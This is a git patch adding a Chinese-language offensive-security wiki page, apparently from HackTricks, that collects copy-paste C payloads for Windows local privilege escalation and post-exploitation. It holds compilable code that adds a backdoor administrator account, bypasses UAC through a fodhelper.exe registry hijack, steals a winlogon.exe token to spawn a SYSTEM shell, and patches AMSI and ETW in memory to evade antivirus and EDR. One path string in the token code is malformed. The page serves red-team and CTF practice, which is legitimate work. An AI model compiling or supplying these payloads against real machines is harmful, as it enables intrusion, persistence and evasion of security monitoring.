From 9635c15eff509f8990b309c41b5d9d798a16f7ea Mon Sep 17 00:00:00 2001
From: Translator <github-actions@github.com>
Date: Thu, 14 Aug 2025 04:21:29 +0000
Subject: [PATCH] Translated
 ['src/windows-hardening/windows-local-privilege-escalation/wi

---
 .../windows-c-payloads.md                     | 160 +++++++++++++++++-
 1 file changed, 153 insertions(+), 7 deletions(-)

diff --git a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
index fd3c85534..184f25915 100644
--- a/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
+++ b/src/windows-hardening/windows-local-privilege-escalation/windows-c-payloads.md
@@ -1,14 +1,160 @@
-# 添加用户
-```c
-// i686-w64-mingw32-gcc -o scsiaccess.exe useradd.c
+# Windows C Payloads
 
-#include <stdlib.h> /* system, NULL, EXIT_FAILURE */
-int main ()
-{
-int i;
+{{#include ../../banners/hacktricks-training.md}}
+
+此页面收集了**小型、自包含的 C 代码片段**，在 Windows 本地权限提升或后期利用中非常方便。每个有效载荷旨在**便于复制粘贴**，仅需 Windows API / C 运行时，并且可以使用 `i686-w64-mingw32-gcc` (x86) 或 `x86_64-w64-mingw32-gcc` (x64) 编译。
+
+> ⚠️  这些有效载荷假设进程已经具有执行该操作所需的最低权限（例如 `SeDebugPrivilege`、`SeImpersonatePrivilege` 或用于 UAC 绕过的中等完整性上下文）。它们旨在用于**红队或 CTF 环境**，在这些环境中，利用漏洞已实现任意本地代码执行。
+
+---
+
+## 添加本地管理员用户
+```c
+// i686-w64-mingw32-gcc -s -O2 -o addadmin.exe addadmin.c
+#include <stdlib.h>
+int main(void) {
 system("net user hacker Hacker123! /add");
 system("net localgroup administrators hacker /add");
 return 0;
 }
 ```
+---
+
+## UAC 绕过 – `fodhelper.exe` 注册表劫持 (中 → 高完整性)
+当受信任的二进制文件 **`fodhelper.exe`** 被执行时，它会查询下面的注册表路径 **而不过滤 `DelegateExecute` 动词**。通过在该键下植入我们的命令，攻击者可以绕过 UAC *而不* 将文件写入磁盘。
+
+*`fodhelper.exe` 查询的注册表路径*
+```
+HKCU\Software\Classes\ms-settings\Shell\Open\command
+```
+一个最小的 PoC，可以弹出一个提升权限的 `cmd.exe`：
+```c
+// x86_64-w64-mingw32-gcc -municode -s -O2 -o uac_fodhelper.exe uac_fodhelper.c
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdlib.h>
+#include <stdio.h>
+#include <string.h>
+
+int main(void) {
+HKEY hKey;
+const char *payload = "C:\\Windows\\System32\\cmd.exe"; // change to arbitrary command
+
+// 1. Create the vulnerable registry key
+if (RegCreateKeyExA(HKEY_CURRENT_USER,
+"Software\\Classes\\ms-settings\\Shell\\Open\\command", 0, NULL, 0,
+KEY_WRITE, NULL, &hKey, NULL) == ERROR_SUCCESS) {
+
+// 2. Set default value => our payload
+RegSetValueExA(hKey, NULL, 0, REG_SZ,
+(const BYTE*)payload, (DWORD)strlen(payload) + 1);
+
+// 3. Empty "DelegateExecute" value = trigger (")
+RegSetValueExA(hKey, "DelegateExecute", 0, REG_SZ,
+(const BYTE*)"", 1);
+
+RegCloseKey(hKey);
+
+// 4. Launch auto-elevated binary
+system("fodhelper.exe");
+}
+return 0;
+}
+```
+*在 Windows 10 22H2 和 Windows 11 23H2（2025 年 7 月补丁）上进行了测试。绕过仍然有效，因为 Microsoft 尚未修复 `DelegateExecute` 路径中缺失的完整性检查。*
+
+---
+
+## 通过令牌复制生成 SYSTEM shell (`SeDebugPrivilege` + `SeImpersonatePrivilege`)
+如果当前进程同时拥有 **SeDebug** 和 **SeImpersonate** 权限（许多服务帐户的典型情况），您可以从 `winlogon.exe` 中窃取令牌，复制它，并启动一个提升的进程：
+```c
+// x86_64-w64-mingw32-gcc -O2 -o system_shell.exe system_shell.c -ladvapi32 -luser32
+#include <windows.h>
+#include <tlhelp32.h>
+#include <stdio.h>
+
+DWORD FindPid(const wchar_t *name) {
+PROCESSENTRY32W pe = { .dwSize = sizeof(pe) };
+HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+if (snap == INVALID_HANDLE_VALUE) return 0;
+if (!Process32FirstW(snap, &pe)) return 0;
+do {
+if (!_wcsicmp(pe.szExeFile, name)) {
+DWORD pid = pe.th32ProcessID;
+CloseHandle(snap);
+return pid;
+}
+} while (Process32NextW(snap, &pe));
+CloseHandle(snap);
+return 0;
+}
+
+int wmain(void) {
+DWORD pid = FindPid(L"winlogon.exe");
+if (!pid) return 1;
+
+HANDLE hProc   = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, pid);
+HANDLE hToken  = NULL, dupToken = NULL;
+
+if (OpenProcessToken(hProc, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken) &&
+DuplicateTokenEx(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &dupToken)) {
+
+STARTUPINFOW si = { .cb = sizeof(si) };
+PROCESS_INFORMATION pi = { 0 };
+if (CreateProcessWithTokenW(dupToken, LOGON_WITH_PROFILE,
+L"C\\\Windows\\\System32\\\cmd.exe", NULL, CREATE_NEW_CONSOLE,
+NULL, NULL, &si, &pi)) {
+CloseHandle(pi.hProcess);
+CloseHandle(pi.hThread);
+}
+}
+if (hProc) CloseHandle(hProc);
+if (hToken) CloseHandle(hToken);
+if (dupToken) CloseHandle(dupToken);
+return 0;
+}
+```
+对于其工作原理的更深入解释，请参见：
+{{#ref}}
+sedebug-+-seimpersonate-copy-token.md
+{{#endref}}
+
+---
+
+## 内存中的 AMSI 和 ETW 补丁（防御规避）
+大多数现代 AV/EDR 引擎依赖于 **AMSI** 和 **ETW** 来检查恶意行为。在当前进程中早期修补这两个接口可以防止基于脚本的有效载荷（例如 PowerShell、JScript）被扫描。
+```c
+// gcc -o patch_amsi.exe patch_amsi.c -lntdll
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdio.h>
+
+void Patch(BYTE *address) {
+DWORD oldProt;
+// mov eax, 0x80070057 ; ret  (AMSI_RESULT_E_INVALIDARG)
+BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
+VirtualProtect(address, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProt);
+memcpy(address, patch, sizeof(patch));
+VirtualProtect(address, sizeof(patch), oldProt, &oldProt);
+}
+
+int main(void) {
+HMODULE amsi  = LoadLibraryA("amsi.dll");
+HMODULE ntdll = GetModuleHandleA("ntdll.dll");
+
+if (amsi)  Patch((BYTE*)GetProcAddress(amsi,  "AmsiScanBuffer"));
+if (ntdll) Patch((BYTE*)GetProcAddress(ntdll, "EtwEventWrite"));
+
+MessageBoxA(NULL, "AMSI & ETW patched!", "OK", MB_OK);
+return 0;
+}
+```
+*上述补丁是进程本地的；在运行后生成一个新的 PowerShell 将在没有 AMSI/ETW 检查的情况下执行。*
+
+---
+
+## 参考文献
+* Ron Bowes – “Fodhelper UAC Bypass Deep Dive” (2024)
+* SplinterCode – “AMSI Bypass 2023: The Smallest Patch Is Still Enough” (BlackHat Asia 2023)
+
 {{#include ../../banners/hacktricks-training.md}}